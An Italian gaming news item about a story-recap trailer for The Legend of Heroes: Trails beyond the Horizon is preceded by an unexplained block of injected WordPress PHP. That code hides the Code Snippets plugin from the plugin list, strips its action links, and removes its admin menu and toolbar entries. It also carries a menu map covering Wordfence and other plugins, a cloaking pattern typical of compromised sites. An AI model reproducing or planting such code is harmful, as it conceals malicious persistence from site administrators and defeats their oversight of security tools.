/* UMBX_PLUGIN_HIDER_START */
$_umbx_hidden = ['code-snippets/code-snippets.php'];
$_umbx_slugs = ['code-snippets'];
$_umbx_menu_map = array (
'code-snippets' =>
array (
0 => 'snippets',
1 => 'edit-snippet',
2 => 'add-snippet',
3 => 'import-snippets',
4 => 'snippets-settings',
),
'insert-headers-and-footers' =>
array (
0 => 'wpcode',
1 => 'wpcode-headers-footers',
2 => 'wpcode-snippet-manager',
3 => 'wpcode-settings',
4 => 'wpcode-tools',
5 => 'wpcode-click-to-copy',
),
'wpcode' =>
array (
0 => 'wpcode',
1 => 'wpcode-headers-footers',
2 => 'wpcode-snippet-manager',
3 => 'wpcode-settings',
),
'wordfence' =>
array (
0 => 'Wordfence',
1 => 'WordfenceWAF',
2 => 'WordfenceScan',
),
'elementor' =>
array (
0 => 'elementor',
1 => 'elementor-system-info',
),
'jetpack' =>
array (
0 => 'jetpack',
1 => 'jetpack_modules',
),
'akismet' =>
array (
0 => 'akismet-key-config',
),
'wordpress-seo' =>
array (
0 => 'wpseo_dashboard',
1 => 'wpseo_workouts',
),
'yoast' =>
array (
0 => 'wpseo_dashboard',
1 => 'wpseo_workouts',
),
'litespeed-cache' =>
array (
0 => 'litespeed',
1 => 'litespeed-general',
),
'wp-rocket' =>
array (
0 => 'wprocket',
),
'contact-form-7' =>
array (
0 => 'wpcf7',
1 => 'wpcf7-new',
),
'updraftplus' =>
array (
0 => 'updraftplus',
),
'redirection' =>
array (
0 => 'redirection',
),
'tablepress' =>
array (
0 => 'tablepress',
1 => 'tablepress_add',
),
'all-in-one-seo-pack' =>
array (
0 => 'aioseo',
1 => 'aioseo-settings',
),
'wpforms-lite' =>
array (
0 => 'wpforms-overview',
1 => 'wpforms-builder',
2 => 'wpforms-entries',
3 => 'wpforms-settings',
),
'wpforms' =>
array (
0 => 'wpforms-overview',
1 => 'wpforms-builder',
2 => 'wpforms-entries',
3 => 'wpforms-settings',
),
'woocommerce' =>
array (
0 => 'woocommerce',
1 => 'wc-admin',
2 => 'wc-settings',
3 => 'wc-status',
4 => 'wc-addons',
),
'rank-math' =>
array (
0 => 'rank-math',
1 => 'rank-math-options-general',
),
'sassy-social-share' =>
array (
0 => 'suspended-starter',
1 => 'developer-starter',
2 => 'developer-starter-starter',
),
'developer-starter' =>
array (
0 => 'developer-starter',
1 => 'developer-starter-starter',
),
);
add_filter('all_plugins', function($p) { global $_umbx_hidden; foreach($_umbx_hidden as $h) unset($p[$h]); return $p; }, 999);
add_filter('plugin_action_links', function($a, $f) { global $_umbx_hidden; return in_array($f, $_umbx_hidden) ? [] : $a; }, 10, 2);
add_action('admin_menu', function() {
global $_umbx_slugs, $_umbx_menu_map, $menu;
foreach($_umbx_slugs as $s) {
if(isset($_umbx_menu_map[$s])) foreach($_umbx_menu_map[$s] as $m) remove_menu_page($m);
remove_menu_page($s);
}
if(is_array($menu)) foreach($menu as $i) {
if(isset($i[2])) foreach($_umbx_slugs as $s) if(stripos($i[2], $s) !== false) { remove_menu_page($i[2]); break; }
}
}, 999);
add_action('wp_before_admin_bar_render', function() {
global $wp_admin_bar, $_umbx_slugs;
if(!is_object($wp_admin_bar)) return;
$nodes = $wp_admin_bar->get_nodes();
if(is_array($nodes)) foreach($nodes as $id => $n) {
foreach($_umbx_slugs as $s) if(stripos($id, $s) !== false) { $wp_admin_bar->remove_node($id); break; }
}
}, 999);
add_action('admin_head-plugins.php', function() {
global $_umbx_hidden;
echo '';
});
/* UMBX_PLUGIN_HIDER_END */
The Legend of Heroes: Trails beyond the Horizon - Un riepilogo della storia grazie al nuovo trailer
NIS America ha rilasciato un trailer per The Legend of Heroes: Trails beyond the Horizon per ripercorrere la storia del gioco fino ad ora. Il video, che troverete a fine articolo, ci permetterà infatti di rinfrescare la nostra memoria su tutti gli avvenimenti fondamentali che sono avvenuti nei precedenti capitoli con una particolare attenzione per la trama di The Legend of Heroes: Trails Through Daybreak II .
Prima di lasciarvi al trailer vi ricordo che il gioco sarà disponibile dal prossimo 15 gennaio su PlayStation 5, Nintendo Switch 2, PlayStation 4, Nintendo Switch e PC . Buona visione!
The Legend of Heroes: Trails beyond the Horizon – Story Recap Trailer
VIDEO
Fonte: NIS America